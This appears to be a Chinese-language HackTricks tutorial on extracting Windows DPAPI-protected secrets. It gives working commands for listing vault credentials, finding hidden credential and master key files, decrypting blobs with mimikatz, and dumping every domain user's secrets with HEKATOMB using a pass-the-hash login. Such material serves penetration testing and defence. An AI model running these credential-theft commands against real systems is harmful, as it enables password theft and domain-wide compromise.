DPAPI - Extracting Passwords

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

​​RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流地。

什么是DPAPI

数据保护API(DPAPI)主要用于Windows操作系统中对非对称私钥进行对称加密,利用用户或系统密钥作为重要的熵源。这种方法通过允许开发人员使用从用户登录密钥派生的密钥或者对于系统加密来说,使用系统的域认证密钥来加密数据,从而简化了开发人员的加密过程,避免了开发人员自行管理加密密钥的需要。

DPAPI保护的数据

DPAPI保护的个人数据包括:

  • Internet Explorer和Google Chrome的密码和自动填充数据

  • Outlook和Windows Mail等应用程序的电子邮件和内部FTP帐户密码

  • 共享文件夹、资源、无线网络和Windows Vault的密码,包括加密密钥

  • 远程桌面连接、.NET Passport以及用于各种加密和身份验证目的的私钥的密码

  • 由凭据管理器管理的网络密码以及使用CryptProtectData的应用程序中的个人数据,例如Skype、MSN Messenger等

列出保险库

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

凭证文件

受保护的凭证文件可能位于:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

使用mimikatz dpapi::cred 获取凭据信息,在响应中您可以找到有趣的信息,如加密数据和guidMasterKey。

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

你可以使用mimikatz模块 dpapi::cred 和适当的 /masterkey 来解密:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

主密钥

用于加密用户RSA密钥的DPAPI密钥存储在%APPDATA%\Microsoft\Protect\{SID}目录下,其中{SID}是该用户的安全标识符DPAPI密钥存储在与保护用户私钥的主密钥相同的文件中。通常是64个字节的随机数据。(请注意,此目录受保护,因此您无法使用cmd的dir命令列出它,但您可以使用PS列出它)。

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

以下是用户的一堆主密钥的样子:

通常每个主密钥都是一个加密的对称密钥,可以解密其他内容。因此,提取加密的主密钥很有趣,以便稍后解密使用它加密的其他内容

提取主密钥并解密

查看帖子https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++以了解如何提取主密钥并解密它的示例。

SharpDPAPI

SharpDPAPI@gentilkiwiMimikatz项目中一些DPAPI功能的C#移植。

HEKATOMB

HEKATOMB是一个工具,可以自动提取LDAP目录中的所有用户和计算机,以及通过RPC提取域控制器备份密钥。然后脚本将解析所有计算机的IP地址,并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob,并使用域备份密钥解密所有内容。

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

通过从LDAP计算机列表中提取,即使您不知道它们,也可以找到每个子网络!

"因为域管理员权限还不够。攻破它们全部。"

DonPAPI

DonPAPI可以自动转储由DPAPI保护的机密。

参考资料

RootedCON西班牙最相关的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

最后更新于